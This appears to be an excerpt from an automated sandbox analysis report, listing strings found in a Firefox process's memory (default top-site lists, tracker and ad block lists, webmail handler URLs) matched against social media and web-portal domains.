Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D2DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ?disabled=https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=en-US&feed_variant=default_spocs_offhttps://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/UPDATE moz_bookmarks SET position = position - 1 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN 'www.' \|\| :strippedURL AND 'www.' \|\| :strippedURL \|\| X'FFFF'[{incognito:null, tabId:null, types:["image"], urls:["https://smartblock.firefox.etp/facebook.svg", "https://smartblock.firefox.etp/play.svg"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: (browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/(browserSettings.update.channel == "release") && ((experiment.slug in activeExperiments) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0))) equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: (browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/(browserSettings.update.channel == "release") && ((experiment.slug in activeExperiments) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0))) equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: (browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/(browserSettings.update.channel == "release") && ((experiment.slug in activeExperiments) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0))) equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://id.rambler.ru/rambler-id-helper/auth_events.js://pagead2.googlesyndication.com/pagead/.jsfcd=true://www.gstatic.com/firebasejs//firebase-messaging.js*://pagead2.googlesyndication.com/pagead/js/.jsfcd=true://securepubads.g.doubleclick.net/gampad/ad-blkhttps://static.adsafeprotected.com/firefox-etp-pixel://securepubads.g.doubleclick.net/tag/js/gpt.jsresource://gre/modules/URLDecorationAnnotationsService.sys.mjs equals www.rambler.ru (Rambler)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://static.chartbeat.com/js/chartbeat_video.js://.imgur.com/js/vendor..bundle.js://libs.coremetrics.com/eluminate.js://track.adform.net/serving/scripts/trackpoint/://www.rva311.com/static/js/main..chunk.js://imasdk.googleapis.com/js/sdkloader/ima3.js://www.googletagservices.com/tag/js/gpt.js://pub.doubleverify.com/signals/pub.js://www.everestjs.net/static/st.v3.js://cdn.branch.io/branch-latest.min.js://web-assets.toggl.com/app/assets/scripts/.jshttps://smartblock.firefox.etp/play.svg://connect.facebook.net//sdk.js://www.google-analytics.com/analytics.js://www.googletagmanager.com/gtm.jsFileUtils_closeSafeFileOutputStream://auth.9c9media.ca/auth/main.jspictureinpicture%40mozilla.org:1.0.0webcompat-reporter%40mozilla.org:1.5.1://www.google-analytics.com/gtm/js*://connect.facebook.net//all.js*://www.google-analytics.com/plugins/ua/ec.js://ssl.google-analytics.com/ga.js://s0.2mdn.net/instream/html5/ima3.js://static.criteo.net/js/ld/publishertag.js://.imgur.io/js/vendor..bundle.jshttps://smartblock.firefox.etp/facebook.svgwebcompat-reporter@mozilla.org.xpi://static.chartbeat.com/js/chartbeat.jsFileUtils_closeAtomicFileOutputStream@mozilla.org/addons/addon-manager-startup;1://c.amazon-adsystem.com/aax2/apstag.js://.vidible.tv//vidible-min.js**://s.webtrends.com/js/webtrends.min.js{e43b0010-04ba-4da6-b523-1f92580bc150} equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3081282197.0000025E83103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3040789860.0000025E80E47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3040789860.0000025E80E47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3062161151.0000025E81CAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3068152789.0000025E82450000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @mozilla.org/dom/slow-script-debug;1WebChannel/this._originCheckCallback@mozilla.org/network/protocol;1?name=file@mozilla.org/uriloader/handler-service;1{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}devtools/client/framework/devtoolsFailed to listen. Callback argument missing.Failed to execute WebChannel callback:browser.fixup.dns_first_for_single_words^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$@mozilla.org/network/protocol;1?name=defaultJSON Viewer's onSave failed in startPersistencebrowser and that URL. Falling back to Unable to start devtools server on devtools-commandkey-profiler-capturedevtools.performance.popup.feature-flagdevtools.performance.recording.ui-base-urldevtools.debugger.remote-websocketDevTools telemetry entry point failed: Got invalid request to save JSON dataNo callback set for this channel.browser.urlbar.dnsResolveFullyQualifiedNamesresource://devtools/server/devtools-server.jsFailed to listen. Listener already attached.devtools.debugger.features.javascript-tracingdevtools/client/framework/devtools-browserDevToolsStartup.jsm:handleDebuggerFlagdevtools-commandkey-javascript-tracing-togglereleaseDistinctSystemPrincipalLoaderand deploy previews URLs are allowed.resource://devtools/shared/security/socket.jsdevtools-commandkey-profiler-start-stopresource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/JSONFile.sys.mjs^([a-z][a-z0-9.+\t-])(:\|;)?(\/\/)?get FIXUP_FLAG_ALLOW_KEYWORD_LOOKUP^[a-z0-9-]+(\.[a-z0-9-]+):[0-9]{1,5}([/?#]\|$)Can't invoke URIFixup in the content processisDownloadsImprovementsAlreadyMigratedhttps://mail.inbox.lv/compose?to=%sresource://gre/modules/FileUtils.sys.mjsresource://gre/modules/NetUtil.sys.mjsScheme should be either http or https^([a-z+.-]+:\/{0,3})*([^\/@]+@).+http://poczta.interia.pl/mh/?mailto=%s{33d75835-722f-42c0-89cc-44f328e56a86}https://mail.yahoo.co.jp/compose/?To=%s_injectDefaultProtocolHandlersIfNeededhttp://win.mail.ru/cgi-bin/sentmsg?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%sget FIXUP_FLAGS_MAKE_ALTERNATE_URIextractScheme/fixupChangedProtocol<gecko.handlerService.defaultHandlersVersionresource://gre/modules/FileUtils.sys.mjshttp://www.inbox.lv/rfc2368/?value=%s@mozilla.org/uriloader/web-handler-app;1browser.fixup.domainsuffixwhitelist.get FIXUP_FLAG_FORCE_ALTERNATE_URIhttps://poczta.interia.pl/mh/?mailto=%shandlerSvc fillHandlerInfo: don't know this type@mozilla.org/uriloader/local-handler-app;1{c6cf88b7-452e-47eb-bdc9-86e3561648ef}@mozilla.org/uriloader/dbus-handler-app;1http://compose.mail.yahoo.co.jp/ym/Compose?To=%sresource://gre/modules/ExtHandlerService.sys.mjsresource://gre/modules/URIFixup.sys.mjs@mozilla.org/network/simple-stream-listener;1@mozilla.org/network/file-input-stream;1@mozilla.org/network/input-stream-pump;1SEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLgetCookieStoreIdForOriginAttributes equals www.yahoo.com (Yahoo)
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]]moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/data/ua_overrides.jsBoolean used to determine if the results defined in `exposureResults` should be shown in search results. Should be false for Control branch of an experiment.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJE(browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0) equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]]moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/data/ua_overrides.jsBoolean used to determine if the results defined in `exposureResults` should be shown in search results. Should be false for Control branch of an experiment.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJE(browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0) equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]]moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/data/ua_overrides.jsBoolean used to determine if the results defined in `exposureResults` should be shown in search results. Should be false for Control branch of an experiment.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJE(browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0) equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D25C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D25C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000003.2944106406.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2936265181.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000003.2944106406.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2936265181.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: current application version: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/Selects which parsing/delazification strategy should be used while parsing scripts off-main-thread. See DelazificationOption in CompileOptions.h for values.moz-extension://646a4d4e-1c34-4cd3-8ff4-db6708ff39aa/selector/callBackground.js equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: current application version: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/Selects which parsing/delazification strategy should be used while parsing scripts off-main-thread. See DelazificationOption in CompileOptions.h for values.moz-extension://646a4d4e-1c34-4cd3-8ff4-db6708ff39aa/selector/callBackground.js equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: current application version: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/Selects which parsing/delazification strategy should be used while parsing scripts off-main-thread. See DelazificationOption in CompileOptions.h for values.moz-extension://646a4d4e-1c34-4cd3-8ff4-db6708ff39aa/selector/callBackground.js equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D2DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3040789860.0000025E80E47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3040789860.0000025E80E47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D2DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D2DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
